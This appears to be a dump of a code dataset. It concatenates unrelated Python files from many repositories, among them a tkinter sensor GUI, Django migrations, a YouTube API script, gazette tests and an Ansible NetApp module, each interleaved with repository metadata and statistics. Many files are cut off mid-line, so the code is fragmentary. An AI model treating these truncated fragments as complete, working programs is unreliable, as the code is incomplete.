import json from GetEWSFolder import main, convert_mail_to_json import demistomock as demisto def create_mail(subject, body): return {'subject': subject, 'textBody': body, 'body': '<body>{}<\\body>'.format(body)} mails_folder_1 = [create_mail(subject='subject 1', body='body 1'), create_mail(subject='subject 2...
36.787234
115
0.666859
198b186387153dc01e341dfcf273d879d9e8bc68
5,883
py
Python
src/main/python/ble_temperature_sensor/azartongui.py
BikeAtor/WoMoAtor
700cc8b970dcfdd5af2f471df1a223d2a38cb1bf
[ "Apache-2.0" ]
null
null
null
src/main/python/ble_temperature_sensor/azartongui.py
BikeAtor/WoMoAtor
700cc8b970dcfdd5af2f471df1a223d2a38cb1bf
[ "Apache-2.0" ]
null
null
null
src/main/python/ble_temperature_sensor/azartongui.py
BikeAtor/WoMoAtor
700cc8b970dcfdd5af2f471df1a223d2a38cb1bf
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 import sys sys.path.append('..') import os import logging import threading import time import ble_temperature_sensor import atorlib # GUI import tkinter as tk import tkinter.font as tkFont import cairosvg import io from PIL import Image, ImageTk class AzartonGUI(atorlib.GuiIconValueBattery):...
38.45098
135
0.535271
8b5fa4910b2b115df8c56c58f98e8d7c4cb201f6
597
py
Python
utils/droplets.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
utils/droplets.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
utils/droplets.py
nebulousdog/catcobralizard
0be598b9e76addbe25684ca60aa5ae324cc42183
[ "MIT" ]
null
null
null
""" Droplet related utils """ import json def get_droplet_id(): """get droplet id from cached info, prevents unnecessary requests.""" cached_droplet_info_file = 'droplet_info.json' with open(cached_droplet_info_file, 'r') as info_f: droplet_info = json.load(info_f) return droplet_info['i...
24.875
73
0.686767
8bd6dd025d66fbf320ad54109bd8790c1af34843
1,200
py
Python
INBa/2015/Ionova_A_K/task_8_8.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Ionova_A_K/task_8_8.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
INBa/2015/Ionova_A_K/task_8_8.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача 8. Вариант 8. #1-50. Доработайте игру "Анаграммы" (см. М.Доусон Программируем на Python. Гл.4) так, чтобы к каждому слову полагалась подсказка. Игрок должен получать право на подсказку в том случае, если у него нет никаких предположений. Разработайте систему начисления очков, по которой бы игроки, отгадавшие сл...
31.578947
361
0.67
9a22fcc0aef36cf0cf2151e2ff240d1acec21a22
861
py
Python
packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from typing import Callable, Optional from fastapi import FastAPI from watchmen_dqc.boot import init_monitor_jobs from watchmen_meta.auth import build_find_user_by_name, build_find_user_by_pat from watchmen_model.admin import User from watchmen_rest import RestApp from .settings import DqcSettings class DqcApp(Rest...
23.27027
78
0.772358
3e9b007d558fcee821d4e280215fcedd685c9a93
543
py
Python
main.py
kagaya25/How-to-Remove-watermarks-in-youtube-using-python-
d411359e509877563e15db02967375b03b34af99
[ "MIT" ]
3
2020-10-28T05:26:20.000Z
2022-02-27T04:51:40.000Z
main.py
kagaya25/How-to-Remove-watermarks-in-youtube-using-python-
d411359e509877563e15db02967375b03b34af99
[ "MIT" ]
null
null
null
main.py
kagaya25/How-to-Remove-watermarks-in-youtube-using-python-
d411359e509877563e15db02967375b03b34af99
[ "MIT" ]
null
null
null
from googleapiclient.discovery import build from google_auth_oauthlib.flow import InstalledAppFlow from apikey import apikey CLIENT_SECRET_FILE = 'client_secret.json' SCOPES = ['https://www.googleapis.com/auth/youtube.force-ssl'] flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES) credentials ...
33.9375
79
0.79558
f5cc09ecc0ca97e9de21e43dc4dd98148d3b2c32
2,059
py
Python
Calculation/calculation_current.py
Tocha4/-Displacement--Chromatography
0baf4f9e2d23b39f610217b048d799c6403a259e
[ "MIT" ]
2
2020-11-25T07:53:48.000Z
2021-09-19T14:19:51.000Z
Calculation/calculation_current.py
Tocha4/-Displacement--Chromatography
0baf4f9e2d23b39f610217b048d799c6403a259e
[ "MIT" ]
null
null
null
Calculation/calculation_current.py
Tocha4/-Displacement--Chromatography
0baf4f9e2d23b39f610217b048d799c6403a259e
[ "MIT" ]
null
null
null
import numpy as np import os if 'cytthon_functions' in os.listdir(): from cytthon_functions import Functions else: from Calculation.cytthon_functions import Functions class Simu(): def __init__(self,Sample,Column,Interaction, Pump, time...
42.020408
144
0.619233
dea2ac6c5bc1dc4ea0a57535d495d3465af1edf3
859
py
Python
libapp/migrations/0004_bookcart.py
StephenWayen/LibMS
df6078a8171f77b75f2ad3ac91e9747ef753d2a6
[ "MIT" ]
2
2021-05-31T13:11:50.000Z
2021-06-05T04:37:51.000Z
libapp/migrations/0004_bookcart.py
StephenWayen/LibMS
df6078a8171f77b75f2ad3ac91e9747ef753d2a6
[ "MIT" ]
null
null
null
libapp/migrations/0004_bookcart.py
StephenWayen/LibMS
df6078a8171f77b75f2ad3ac91e9747ef753d2a6
[ "MIT" ]
null
null
null
# Generated by Django 3.2 on 2021-05-27 12:59 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('libapp', '0003_auto_20210527_1250'), ] operations = [ migrations.CreateModel( name='Bookcart', ...
35.791667
145
0.603027
19cd051b3b773f6295f765770bd5a054d882c7a5
746
py
Python
src/onegov/directory/errors.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/errors.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/directory/errors.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
class OnegovDirectoryError(Exception): pass class ValidationError(OnegovDirectoryError): def __init__(self, entry, errors, *args, **kwargs): super().__init__(*args, **kwargs) self.entry = entry self.errors = errors class MissingColumnError(OnegovDirectoryError): def __init__(self...
26.642857
55
0.660858
a09c70cc3050fdd83f147e012bf7bc00579eacb2
1,509
py
Python
2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
import json sections = [ { "title": "Getting started", "reset_lesson_position": False, "lessons": [ {"name": "Welcome"}, {"name": "Installation"}, ], }, { "title": "Basic operator", "reset_lesson_position": False, "lessons": [...
23.952381
78
0.613651
cd7bd478ab4f00f34a63e2bfd9dab76b06cd0de9
340
py
Python
Coursera/Python Data Structures/Assignment-8.4.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
331
2019-10-22T09:06:28.000Z
2022-03-27T13:36:03.000Z
Coursera/Python Data Structures/Assignment-8.4.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
8
2020-04-10T07:59:06.000Z
2022-02-06T11:36:47.000Z
Coursera/Python Data Structures/Assignment-8.4.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
572
2019-07-28T23:43:35.000Z
2022-03-27T22:40:08.000Z
if __name__ == '__main__': try: fname = input('Enter file name: ') fn = open(fname) ls = list() lsm = [line.split() for line in fn] for i in lsm: for j in i: if j not in ls: ls.append(j) ls.sort() print(ls) ...
22.666667
43
0.417647
e4e4ee485e353f1ad20ddbe3768cd13fe0cc1ff3
22,726
py
Python
tests/onegov/gazette/test_forms.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/gazette/test_forms.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/gazette/test_forms.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from datetime import date from datetime import datetime from freezegun import freeze_time from onegov.gazette.collections import CategoryCollection from onegov.gazette.collections import GazetteNoticeCollection from onegov.gazette.collections import IssueCollection from onegov.gazette.collections import OrganizationCol...
31.30303
79
0.596101
5f3b51783fcd04adfc00b045108091b7d7285d3a
4,829
py
Python
src/test/tests/rendering/offscreensave.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/tests/rendering/offscreensave.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/tests/rendering/offscreensave.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ---------------------------------------------------------------------------- # CLASSES: nightly # # Test Case: offscreensave.py # # Tests: save window options # mesh - 3D unstructured, multiple domains # plots - pc, mesh # operators - slice # # Programmer: M...
27.282486
107
0.648374
84531a1765793b82b97b98068e3c5056fcb441be
576
py
Python
project/api/event_reference/resources.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
project/api/event_reference/resources.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
project/api/event_reference/resources.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
from flask_apispec import doc, marshal_with from project.api import add_api_resource from project.api.event_reference.schemas import EventReferenceSchema from project.api.resources import BaseResource from project.models import EventReference class EventReferenceResource(BaseResource): @doc(summary="Get event re...
30.315789
82
0.798611
4b92ea01fa48fd187a99255dcc87bdb27e981efb
1,545
py
Python
projects/g4h1-wsn/src/utils/log.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
projects/g4h1-wsn/src/utils/log.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
projects/g4h1-wsn/src/utils/log.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
import logging import os import sys import time # 记录第一次引入该模块时的系统时间,用于作为日志文件和路径名 launch_time: str = time.strftime('%Y-%m-%d_%H%M%S') def get_log_file_dir_path() -> str: """获取存放日志的根目录 该目录为启动脚本时工作路径下的 ./log/ 目录下以本次运行的启动时间命名的目录 """ log_file_dir_path = os.path.abspath(f'./log/{launch_time}'...
25.327869
99
0.634951
4b1f7dece1467177bd51e6566c509e99c102a2ba
13,881
py
Python
src/turtlebot_easyprog/bewegen.py
marvinferber/turtlebot_easyprog
8d6bca3a112cc78aa46b1a3e4a293eb4041b071c
[ "Apache-2.0" ]
null
null
null
src/turtlebot_easyprog/bewegen.py
marvinferber/turtlebot_easyprog
8d6bca3a112cc78aa46b1a3e4a293eb4041b071c
[ "Apache-2.0" ]
null
null
null
src/turtlebot_easyprog/bewegen.py
marvinferber/turtlebot_easyprog
8d6bca3a112cc78aa46b1a3e4a293eb4041b071c
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright 2016 Marvin Ferber, Marc Donner # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
32.815603
145
0.646711
d9f4c23543c30960496ac9bc2c529f4c93f7b4b1
1,219
py
Python
gemtown/users/admin.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
null
null
null
gemtown/users/admin.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
5
2020-09-04T20:13:39.000Z
2022-02-17T22:03:33.000Z
gemtown/users/admin.py
doramong0926/gemtown
2c39284e3c68f0cc11994bed0ee2abaad0ea06b6
[ "MIT" ]
null
null
null
from django.contrib import admin from django.contrib.auth import admin as auth_admin from django.contrib.auth import get_user_model from . import models from gemtown.users.forms import UserChangeForm, UserCreationForm User = get_user_model() @admin.register(User) class UserAdmin(auth_admin.UserAdmin): form = Us...
21.385965
64
0.498769
8aa65d27e7c72156f83d2f4c8f9362db10b18f52
658
py
Python
PythonPro/demo/date_time.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
PythonPro/demo/date_time.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
68
2020-09-05T04:22:49.000Z
2022-03-25T18:47:08.000Z
PythonPro/demo/date_time.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
#coding=utf-8 #时间 import time; # 引入time模块 import calendar cal = calendar.month(2017, 6) print ("以下输出2017年6月份的日历:") print (cal) # # 格式化成2016-03-20 11:45:39形式 # print (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) ) # # # 格式化成Sat Mar 28 22:24:24 2016形式 # print (time.strftime("%a %b %d %H:%M:%S %Y", time.localt...
22.689655
66
0.629179
6a82652dd9cc8cb6bd9ce394099e96f4024e6063
522
py
Python
PMIa/2014/KHASANOVA_I_F/task_3_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PMIa/2014/KHASANOVA_I_F/task_3_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PMIa/2014/KHASANOVA_I_F/task_3_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 3. Вариант 30. # Напишите программу, которая выводит имя "Илья Арнольдович Файзильберг", и запрашивает его псевдоним. Программа должна сцеплять две эти строки и выводить полученную строку, разделяя имя и псевдоним с помощью тире. # Khasanova I. F. # 31.03.2016 name = "Илья Арнольдович Файзильберг" print("Гер...
37.285714
214
0.737548
6a84a333dca60864f23d3e6cda302ba8325cc439
1,509
py
Python
Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
331
2019-10-22T09:06:28.000Z
2022-03-27T13:36:03.000Z
Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py
rishav3101/Online-Courses-Learning
1e9356af331b27b6ee33d376d8d7104edaeac2fa
[ "MIT" ]
572
2019-07-28T23:43:35.000Z
2022-03-27T22:40:08.000Z
import sqlite3 import time import zlib howmany = int(input("How many to dump? ")) conn = sqlite3.connect('index.sqlite') cur = conn.cursor() cur.execute('SELECT id, sender FROM Senders') senders = dict() for message_row in cur : senders[message_row[0]] = message_row[1] cur.execute('SELECT id, subject FROM Subje...
28.471698
92
0.700464
7c76512c03d0d77ad5d7d2e9a2c68ebcceabed22
19,602
py
Python
repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
""" URLResolver Addon for Kodi Copyright (C) 2016 t0mm0, tknorris, jsergio This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option)...
50.520619
241
0.560402
6b220f0c4539d22df65765afe20c4d398a63435d
776
py
Python
Python/Tipos e comandos/Primo2.py
gianvstheworld/POO
f6b9d3d351d703d974a6ca031ee636aea7119367
[ "MIT" ]
null
null
null
Python/Tipos e comandos/Primo2.py
gianvstheworld/POO
f6b9d3d351d703d974a6ca031ee636aea7119367
[ "MIT" ]
null
null
null
Python/Tipos e comandos/Primo2.py
gianvstheworld/POO
f6b9d3d351d703d974a6ca031ee636aea7119367
[ "MIT" ]
null
null
null
''' -- Nome: Gianluca Capezzuto Sardinha -- NUSP: 11876933 -- Exercício 6 ''' def main(): x = leu() y = x while x > 0: multiplo = 0 for i in range(2, x): if(x % i == 0): multiplo = 1 break; if multiplo == 0: break ...
15.215686
73
0.449742
d4dc164f530304d9f00ad4291db9ca9c23412a81
3,119
py
Python
Competitions/Week of Code 36/A Race against Time/race.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
1
2021-02-22T17:37:45.000Z
2021-02-22T17:37:45.000Z
Competitions/Week of Code 36/A Race against Time/race.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
Competitions/Week of Code 36/A Race against Time/race.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
#!/bin/python3 import sys def raceAgainstTime(n, mason_height, heights, prices): dp = [[0 for dummy_i in range(n)] for dummy_j in range(n)] for j in range(n): dp[0][j] = 1 for i in range(1, n): for j in range(i, n): if j == n-1: carrier_height = mason_height ...
36.267442
83
0.491824
07c3ecaa2adbbd4859a5e6774b8241a2e7edcb67
3,926
py
Python
LeetCode_problems/Predict the winner/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
LeetCode_problems/Predict the winner/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
LeetCode_problems/Predict the winner/Solution.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
''' Given an array of scores that are non-negative integers. Player 1 picks one of the numbers from either end of the array followed by the player 2 and then player 1 and so on. Each time a player picks a number, that number will not be available for the next player. This continues until all the scores have been chosen...
38.871287
149
0.559348
92cb505e3d392684b96861c96323755ac38212fc
403
py
Python
src/training/tensorflow/symbol_detector_tests.py
klawr/deepmech
61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff
[ "MIT" ]
1
2020-04-17T12:27:06.000Z
2020-04-17T12:27:06.000Z
src/training/tensorflow/symbol_detector_tests.py
klawr/deepmech
61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff
[ "MIT" ]
1
2022-02-27T13:13:17.000Z
2022-02-27T13:13:17.000Z
src/training/tensorflow/symbol_detector_tests.py
klawr/deepmech
61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff
[ "MIT" ]
null
null
null
import tensorflow as tf from os import path import cv2 model = tf.keras.models.load_model("model.h5") img = tf.io.read_file("image.png") img = tf.image.decode_png(img, 1) img = tf.reshape(img, (1, img.shape[0], img.shape[1], 1)) i = model.predict(img) i = tf.image.resize(i, (480, 480)) i = tf.squeeze(i) cv2.imsho...
18.318182
57
0.682382
13569f4fb7ca08039ff9f9e2c550b10928eb6e15
9,482
py
Python
rengine/config.py
noahsolomon0518/rengine
a544951c6b7dd707586cd3c4f84ddec554f1c96a
[ "MIT" ]
null
null
null
rengine/config.py
noahsolomon0518/rengine
a544951c6b7dd707586cd3c4f84ddec554f1c96a
[ "MIT" ]
null
null
null
rengine/config.py
noahsolomon0518/rengine
a544951c6b7dd707586cd3c4f84ddec554f1c96a
[ "MIT" ]
null
null
null
from rengine.dataset import get_dataset from rengine.config_proxy import EquipmentAvailable, ExerciseName class MuscleGroup: BICEPS = "Biceps" BACK = "Back" CHEST = "Chest" TRICEPS = "Triceps" CALVES = "Calves" HAMSTRINGS = "Hamstrings" QUAD = "Quads" DELTOIDS = "Deltoids" ALL = tup...
32.696552
158
0.575195
138658b92a6e71eda3f515379c0f0110a4feb8d2
1,394
py
Python
simple-sklearn-demo/test1/tfidfVector.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
1
2019-07-05T03:42:17.000Z
2019-07-05T03:42:17.000Z
simple-sklearn-demo/test1/tfidfVector.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
null
null
null
simple-sklearn-demo/test1/tfidfVector.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
1
2019-06-24T05:56:55.000Z
2019-06-24T05:56:55.000Z
from sklearn.feature_extraction.text import TfidfVectorizer import jieba def tfidf_demo(): """ tf: term frequency 词频, 给定词语在文本中出现的频率 idf: inverse document frequency 逆向文档频率, 用总文件数目含该词语的文件数目, 得到的商取以10为底的对数 df-idf: 两者相乘 假设在1000篇文章中, 每篇文章都是10000字, 有500篇出现了"非常", 100篇出现了"经济", 50篇出现了"计算机". 出现"非常"...
24.45614
75
0.636298
139bdfe0cd98de800b4255820bb55ac7d058974d
8,724
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
#!/usr/bin/python # (c) 2017, NetApp, Inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['deprecated'], ...
32.431227
104
0.586887
13ee877756b02e16a9dda231d66dcf0b1af532e7
2,151
py
Python
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
5
2022-01-30T07:35:58.000Z
2022-02-08T05:45:20.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-01-14T02:33:28.000Z
2022-01-14T02:33:28.000Z
Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py
linuxonly801/awesome-DeepLearning
b063757fa130c4d56aea5cce2e592610f1e169f9
[ "Apache-2.0" ]
1
2022-03-07T10:51:21.000Z
2022-03-07T10:51:21.000Z
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License" # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applic...
35.85
75
0.699675
b94c3caa33c1b7441aac66591083d47a1053cdf9
469
py
Python
exercises/pt/solution_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/pt/solution_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/pt/solution_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy nlp = spacy.load("en_core_web_sm") text = "It’s official: Apple is the first U.S. public company to reach a $1 trillion market value" # Processar o texto doc = nlp(text) for token in doc: # Selecionar o texto, s classe gramatical e o termo sintático de um token token_text = token.text token...
27.588235
98
0.707889
b9d0d464a4385ab078258cbe0fce9af59906967d
1,553
py
Python
python/oneflow/compatible/single_client/autograd/autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/compatible/single_client/autograd/autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/compatible/single_client/autograd/autograd_mode.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
33.042553
91
0.742434
0efc08ecb5d87e6301ecbaa3f2cc84b981846d40
3,616
py
Python
tests/nlu/utils/test_bilou_utils.py
techBeck03/rasa
72fef6e7742f5ccb8614c75b6410dff68f137554
[ "Apache-2.0" ]
2
2020-02-27T16:41:52.000Z
2020-02-27T16:41:57.000Z
tests/nlu/utils/test_bilou_utils.py
alfredfrancis/rasa
d8d226408f20cc2563c3aefbccef3e364a447666
[ "Apache-2.0" ]
56
2020-06-09T00:16:14.000Z
2020-11-16T00:25:20.000Z
tests/nlu/utils/test_bilou_utils.py
alfredfrancis/rasa
d8d226408f20cc2563c3aefbccef3e364a447666
[ "Apache-2.0" ]
3
2019-02-27T10:13:16.000Z
2019-07-26T08:33:45.000Z
import pytest import rasa.nlu.utils.bilou_utils as bilou_utils from rasa.nlu.constants import BILOU_ENTITIES, ENTITIES from rasa.nlu.tokenizers.whitespace_tokenizer import WhitespaceTokenizer from rasa.nlu.training_data import TrainingData, Message @pytest.mark.parametrize( "tag, expected", [ ("B-per...
25.464789
85
0.558905
16852eefc218c83c178f86afcdc0c78d1224d824
1,587
py
Python
rbac/common/proposal/proposal_reject.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
75
2018-04-06T09:13:34.000Z
2020-05-18T18:59:47.000Z
rbac/common/proposal/proposal_reject.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
989
2018-04-18T21:01:56.000Z
2019-10-23T15:37:09.000Z
rbac/common/proposal/proposal_reject.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
72
2018-04-13T18:29:12.000Z
2020-05-29T06:00:33.000Z
# Copyright 2019 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
37.785714
79
0.706994
bc42c8b3ecb91c16765539139b81977079194bfc
8,654
py
Python
Kapitel_3/_E1_shapes.py
Geralonx/Classes_Tutorial
9499db8159efce1e3c38975b66a9c649631c6727
